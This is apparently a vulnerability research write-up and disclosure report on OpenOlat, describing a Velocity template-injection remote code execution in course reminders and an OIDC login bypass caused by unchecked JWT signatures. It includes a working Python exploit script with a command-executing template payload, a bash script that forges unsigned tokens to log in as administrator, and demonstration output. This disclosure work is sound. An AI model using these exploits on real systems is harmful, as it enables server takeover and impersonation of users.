OpenOlat - RCE via Server-side Template Injection (SSTI) and OIDC Auth Bypass
Summary
We identified an exploitable SSTI within OpenOlat that allowed for code execution on the host for authenticated users with authoring permissions. Additionally, an authentication bypass in the OIDC implicit flow implementation was identified, that allowed us to log in as an arbitrary user or administrator. Chaining the exploits for these vulnerabilities together, allows an unauthenticated user to execute commands on the host.
RCE via SSTI
During some internal research, we wanted to change the target for a bit to allow for some break and maybe come back with new ideas for the original target. Since the last exposure is already two years ago, we decided to visit our old friend OpenOlat again.
As some time has passed and meanwhile a few things changed, we decided to get an overview of the application. While playing around with course creation, we came across the following form while creating reminders for a course: 
This was a subtle invitation for us to look a bit more closely. And sure enough we wanted to do some quick maths that was too hard to solve by hand and entered #set($jrn=42+23)$jrn as subject.
As in our local OpenOlat instance, mail delivery was configured to store mails in the database instead of actually sending them we checked the database and we confirmed that we successfully built a calculator:
openolat=# select m.subject, m.creationdate from o_mail m order by m.creationdate DESC limit 1;
subject | creationdate
---------+-------------------------
65 | 2026-02-25 12:55:16.943Providing more convoluted payloads failed so we decided to check the source code.
Analysis
Digging through the course module we identified that the reminder handling is implemented by the ReminderServiceImpl in the method sendReminder:
@Override
public MailerResult sendReminder(Reminder reminder, List<Identity> identitiesToRemind) {
...
String subject = reminder.getEmailSubject();
String body = reminder.getEmailBody();
...
for(Identity identityToRemind:identitiesToRemind) {
...
CourseReminderTemplate template = new CourseReminderTemplate(subject, body, url, entry, locale, lifecycleDao);
MailBundle bundle = mailManager.makeMailBundle(context, identityToRemind, template, null, metaId, overviewResult);
...
}
...
}This retrieves the subject and body from the database and creates a CourseReminderTemplate, a sub-class of MailTemplate and then passes this template to makeMailBundle.
public class CourseReminderTemplate extends MailTemplate {
...
public CourseReminderTemplate(String subjectTemplate, String bodyTemplate, String url, RepositoryEntry entry,
Locale locale, RepositoryEntryLifecycleDAO lifecycleDAO) {
super(subjectTemplate, bodyTemplate, null);
this.url = url;
this.entry = entry;
this.locale = locale;
this.lifecycleDAO = lifecycleDAO;
}
...
}The MailTemplate constructor instantiates a VelocityContext and we can already guess where this will lead us:
public MailTemplate(String subjectTemplate, String bodyTemplate, File[] attachments) {
this.subjectTemplate = subjectTemplate;
this.bodyTemplate = bodyTemplate;
this.attachments = attachments;
this.context = new VelocityContext();
this.cpfrom = true;
}After creating the template, it is passed to makeMailBundle implemented in the MailManagerImpl. This creates the actual MailContent by calling createWithContext, passing the user-controlled template:
@Override
public MailBundle makeMailBundle(MailContext ctxt, Identity recipientTo,
MailTemplate template, Identity sender, String metaId, MailerResult result) {
MailBundle bundle;
if(recipientTo != null && MailHelper.isDisabledMailAddress(recipientTo, result)) {
bundle = null;//email disabled, nothing to do
} else {
MailContent msg = createWithContext(recipientTo, template, result);
...
}
return bundle;
}The method createWithContext, calls evaluate providing either a context stored in the template or a fresh one:
protected MailContent createWithContext(Identity recipient, MailTemplate template, MailerResult result) {
VelocityContext context;
if(template.getContext() != null) {
context = new VelocityContext(template.getContext());
} else {
context = new VelocityContext();
}
...
// merge subject template with context variables
StringWriter subjectWriter = new StringWriter();
evaluate(context, template.getSubjectTemplate(), subjectWriter, result);
// merge body template with context variables
StringWriter bodyWriter = new StringWriter();
evaluate(context, template.getBodyTemplate(), bodyWriter, result);
...
}Eventually, in evaluate the user-controlled template is passed to VelocityEngine.evaluate.
protected void evaluate(Context context, String template, StringWriter writer, MailerResult mailerResult) {
try {
if(StringHelper.containsNonWhitespace(template)) {
boolean result = velocityEngine.evaluate(context, writer, "mailTemplate", template);
...
}Please note that no sanitization of the retrieved data retrieved from the database was performed and that no introspector such as SecureUberspector was configured.
Having identified the sink, we checked how data gets stored in the database.
We identified that using the REST API the data is persisted without validation:
@PUT
...
public Response putReminder(ReminderVO reminder, @Context HttpServletRequest httpRequest) {
if(!administrator) {
return Response.serverError().status(Status.FORBIDDEN).build();
}
Reminder updatedReminder = saveReminder(reminder, httpRequest);
return Response.ok(ReminderVO.valueOf(updatedReminder, entry.getKey())).build();
}
...
private Reminder saveReminder(ReminderVO reminderVo, HttpServletRequest httpRequest) {
Identity creator = getIdentity(httpRequest);
Reminder reminder;
if(reminderVo.getKey() == null) {
reminder = reminderService.createReminder(entry, creator);
} else {
reminder = reminderService.loadByKey(reminderVo.getKey());
}
reminder.setDescription(reminderVo.getDescription());
reminder.setEmailSubject(reminderVo.getEmailSubject());
reminder.setEmailBody(reminderVo.getEmailBody());
...
return reminderService.save(reminder);
}This was enough to demonstrate impact. Don’t be fooled by the administrator check; the naming is misleading as the check also is true for course owners and therefore users having the Author role.
It has to be noted that exploitation via UI should still be possible, as the data is only sanitized using an HTML sanitizer. However, for the purpose of demonstration we used the REST API as a source to avoid having to fiddle around too much with the payload.
Exploitation
The exploitation of this vulnerability is pretty straight forward for a user having the Author role assigned.
The general exploit idea is as follows:
- Create a course via REST API
- Create a reminder via REST API while delivering the payload in the subject
- Either wait for the cron job to trigger or manually trigger the reminders via UI
The following Python script handles step 1 and 2:
#!/usr/bin/env python3
# OpenOLAT Velocity SSTI via Reminders REST API
import argparse
import sys
import requests
HEADERS = {"Content-Type": "application/json", "Accept": "application/json"}
def make_payload(cmd):
return (
'#set($s = "")'
'#set($cmd = ["sh", "-c", "' + cmd.replace('\\', '\\\\').replace('"', '\\"') + '"])'
'#set($pb = $s.class.forName("java.lang.ProcessBuilder"))'
'#set($con = $pb.getDeclaredConstructor($s.class.forName("java.util.List")))'
'#set($p = $con.newInstance($cmd))'
'$p.start()'
)
def create_course(session, base):
r = session.put(f"{base}/repo/courses", json={
"title": "SSTI PoC Course",
"repoEntryStatus": "published",
}, headers=HEADERS)
r.raise_for_status()
course = r.json()
print(f"[+] Course created: key={course['key']}")
return course["key"]
def create_reminder(session, base, course_key, payload):
r = session.put(f"{base}/repo/courses/{course_key}/reminders", json={
"description": "PoC",
"emailSubject": "JRN",
"emailBody": payload,
"rules": [{
"type": "DateRuleSPI",
"operator": ">",
"rightOperand": "2026-01-01T13:33:37",
}],
}, headers=HEADERS)
r.raise_for_status()
reminder = r.json()
print(f"[+] Reminder created: key={reminder['key']}")
print(f"[+] Payload: {payload}")
return reminder["key"]
def main():
parser = argparse.ArgumentParser(description="OpenOLAT SSTI PoC")
parser.add_argument("--base", default="http://localhost:8080/olat/restapi",
help="REST API base URL")
parser.add_argument("--user", required=True, help="Username")
parser.add_argument("--password", required=True, help="Password")
parser.add_argument("--cmd", default="touch /tmp/jrned",
help="Command to execute via Runtime.exec()")
args = parser.parse_args()
s = requests.Session()
s.auth = (args.user, args.password)
payload = make_payload(args.cmd)
course_key = create_course(s, args.base)
create_reminder(s, args.base, course_key, payload)
print("[*] Trigger the reminder send via:")
print(" UI: Course > Administration > Reminders > Send")
print(" Or wait for ReminderJob (daily 09:00)")
if __name__ == "__main__":
main()Let’s see how this looks in action!
First, we check that the /tmp directory is empty:
root@7e32865f52f8:/usr/local/tomcat# ls /tmp
hsperfdata_rootThen, we start the exploit script, providing author credentials and the command id > /tmp/JRNed:
𝝺 python3 exploit_ssti.py --base http://localhost:8080/olat/restapi --user XXX --password 'XXX' --cmd 'id > /tmp/JRNed'
[+] Course created: key=113405121044847
[+] Reminder created: key=1114126
[+] Payload: #set($s = "")#set($cmd = ["sh", "-c", "id > /tmp/JRNed"])#set($pb = $s.class.forName("java.lang.ProcessBuilder"))#set($con = $pb.getDeclaredConstructor($s.class.forName("java.util.List")))#set($p = $con.newInstance($cmd))$p.start()
[*] Trigger the reminder send via:
UI: Course > Administration > Reminders > Send
Or wait for ReminderJob (daily 09:00)Next, we log into the web interface using the same user and identify the created course: 
In the course details we navigate to the reminders of the course: 
We, then, send the reminders to all members:

Eventually, we inspect the /tmp directory and see that indeed a file was created and our payload was executed.
root@7e32865f52f8:/usr/local/tomcat# ls /tmp
hsperfdata_root JRNed
root@7e32865f52f8:/usr/local/tomcat# cat /tmp/JRNed
uid=0(root) gid=0(root) groups=0(root)Variant Analysis
A brief analysis identified additional variants of this flaw. The following list provides additional SSTI sinks that should be analyzed as user-controlled data might reach them:
| Sink | Entry Point |
|---|---|
MailManagerImpl:908 |
Reminder emailSubject/emailBody |
MailManagerImpl:908 |
Grading config notification/reminder subject/body |
MailManagerImpl:908 |
IQ Test node confirmation email subject/body |
MailManagerImpl:908 |
GTA node submission email body |
MailManagerImpl:908 |
Contact form node default subject/body |
MailManagerImpl:908 |
CP notification subject/body |
VelocityHelper:186 |
Task node dropbox confirmation message |
UserBulkChangeManager:384 |
Bulk user change property values |
CertificatePdfServiceWorker:163 |
Certificate HTML template upload |
It has to be noted that this list might not be complete.
How Nice Would it be if…
… we could find an authentication bypass. So we decided to have a look at the OAuth implementation and stumbled over the following code in src/main/java/org/olat/login/oauth/spi/JSONWebToken.java:
public static JSONWebToken parse(String accessToken) throws JSONException {
try {
int firstIndex = accessToken.indexOf('.');
int secondIndex = accessToken.indexOf('.', firstIndex + 1);
String header = StringHelper.decodeBase64(accessToken.substring(0, firstIndex));
String payload = decodeBase64(accessToken.substring(firstIndex + 1, secondIndex));
log.debug("JWT Payload: {}", payload);
JSONObject jsonPayload = new JSONObject(payload);
return new JSONWebToken(header, payload, jsonPayload);
} catch (JSONException e) {
log.error("Cannot parse token: {}", accessToken);
throw e;
} catch (Exception e) {
log.error("Cannot parse token: {}", accessToken);
throw new JSONException(e);
}
}JSONWebToken.parse() splits the compact JWT (header.payload.signature) on . delimiters but only decodes the header and payload. The third segment (the signature) is silently dropped and never stored, returned, or checked. The JSONWebToken object stores only header, payload, and jsonPayload. There is no field for the signature. Any string after the second . is accepted. This is certainly a flaw. So we wanted to find out how to exploit this fact. And we directly thought about the OIDC implicit flow, despite it being deprecated more or less.
The OpenIdConnectService.getAccessToken(), implemented in src/main/java/org/olat/login/oauth/spi/OpenIdConnectApi.java, uses the parse method, so we had a look at it:
public OAuth2AccessToken getAccessToken(OpenIDVerifier oVerifier) {
OAuthLoginModule oauthModule = CoreSpringFactory.getImpl(OAuthLoginModule.class);
try {
String idToken = oVerifier.getIdToken();
JSONObject idJson = JSONWebToken.parse(idToken).getJsonPayload();
JSONObject accessJson = JSONWebToken.parse(oVerifier.getAccessToken()).getJsonPayload();
boolean allOk = true;
if(!oauthModule.getOpenIdConnectIFIssuer().equals(idJson.get("iss"))
|| !oauthModule.getOpenIdConnectIFIssuer().equals(accessJson.get("iss"))) {
allOk &= false;
log.info("iss don't match issuer");
}
if(!getApiKey().equals(idJson.get("aud"))) {
allOk &= false;
log.info("aud don't match application key");
}
if(!oVerifier.getState().equals(oVerifier.getSessionState())) {
allOk &= false;
log.info("state doesn't match session state");
}
if(!oVerifier.getSessionNonce().equals(idJson.get("nonce"))) {
allOk &= false;
log.info("session nonce don't match verifier nonce");
}
return allOk ? new OAuth2AccessToken(idToken, oVerifier.getState()) : null;
} catch (JSONException e) {
log.error("", e);
return null;
}
}After parsing, the OpenIdConnectService.getAccessToken() method performs four checks on the decoded claims, but none of them involve the JWT signature or any cryptographic material such as JWKS or a shared secret. So no check against the IdP’s JWKS endpoint is performed. The identical pattern exists in OpenIdConnectFullConfigurableApi.OpenIdConnectFullConfigurableService.getAccessToken(). Thus, all custom-configured OIDC providers with implicit flow are equally vulnerable.
Exploitation
Exploitation of this issue is again pretty straight forward:
- Initiate a legitimate OAuth flow. This creates a server-side
OAuthSessionwith astateandnonce. - Capture session values. The redirect to the IdP authorize endpoint contains the
state,nonce, andredirect_uriin the URL. - Forge the JWT. Construct an
id_tokenandaccess_token. - POST to the callback. Submit a form POST to
/oauthcallbackwith expected parameters. - OpenOLAT parses the JWT, validates
iss/aud/state/nonceagainst attacker-controlled values, and issues an authenticated session for the target identity. - Use the new JSESSIONID and profit!
The following Proof-of-Concept helps with the exploitation:
#!/bin/bash
JSESSIONID="$1"
STATE="$2"
NONCE="$3"
SUB="${4:-administrator}"
TARGET="${TARGET:-http://localhost:8080/olat}"
ISSUER="${ISSUER:-http://localhost:8180/realms/openolat}"
CLIENT_ID="${CLIENT_ID:-openolat-test-client}"
if [ -z "$JSESSIONID" ] || [ -z "$STATE" ] || [ -z "$NONCE" ]; then
echo "Usage: $0 <jsessionid> <state> <nonce> [victim_sub]" >&2
exit 1
fi
b64url() { echo -n "$1" | base64 -w0 | tr '+/' '-_' | tr -d '='; }
HEADER=$(b64url '{"alg":"HS256","typ":"JWT"}')
PAYLOAD=$(b64url "{\"iss\":\"$ISSUER\",\"aud\":\"$CLIENT_ID\",\"sub\":\"$SUB\",\"nonce\":\"$NONCE\",\"iat\":$(date +%s),\"exp\":$(($(date +%s)+3600))}")
JWT="$HEADER.$PAYLOAD.AAAA"
RESP=$(curl -si -b "JSESSIONID=$JSESSIONID" \
-d "id_token=$JWT&access_token=$JWT&state=$STATE" \
"$TARGET/oauthcallback")
# Server may rotate the session or keep the existing one
NEW_JSESSIONID=$(echo "$RESP" | grep -oi 'JSESSIONID=[^;]*' | tail -1 | cut -d= -f2)
SID="${NEW_JSESSIONID:-$JSESSIONID}"
if echo "$RESP" | grep -q 'window.location.replace'; then
echo "[+] Authenticated as: $SUB"
echo "[+] JSESSIONID=$SID"
echo "[+] Open: $TARGET/auth/ with this cookie"
else
echo "[-] Exploit failed" >&2
echo "$RESP" >&2
exit 1
fiNow we can exploit this issue on an OpenOlat instance that is configured to use OIDC implicit flow, e.g., using a Keycloak instance.
First, we navigate to the OpenOlat login page and retrieve a JSESSIONID from the response, e.g. by inspecting it in Burp:

Then, we click the “Open ID Connect” button to initiate the implicit flow and retrieve the state and nonce from the request, for example in Burp: 
Now, we use the exploit by providing the retrieved arguments:
𝝺 bash exploit.sh CF907E10AA2FF536B7054B209EF3C801 5bc42b6f599e41469f5814987c9bf4ec 9d440ce7-71d6-461d-ac25-354d754a4061
[+] Authenticated as: administrator
[+] JSESSIONID=CF907E10AA2FF536B7054B209EF3C801
[+] Open: http://localhost:8080/olat/auth/ with this cookieFinally, we visit /olat/auth to confirm that our session is now authenticated and we are logged in as administrator:
Please note, that Tomcat presumably reuses our original session id.
Despite being mostly deprecated, the implicit flow is still in use out there. This issue shows the relevance of following security best practices and why signatures actually matter.
It has to be noted, however, that the OIDC authentication bypass’ impact can only be rated as low as the implicit flow is almost never used in real world installations of OpenOlat.
Disclosure
- 2026-02-25: SSTI Advisory sent to webmaster@openolat.org.
- 2026-02-25: SSTI fixed in commits fa3c5fb and a307c82.
- 2026-03-10: OIDC Bypass Advisory sent to webmaster@openolat.org.
- 2026-03-10: OIDC Bypass fixed in commit d95645b.
- 2026-03-30: Advisories published.
The issues have been assigned CVE-2026-28228 and CVE-2026-31946.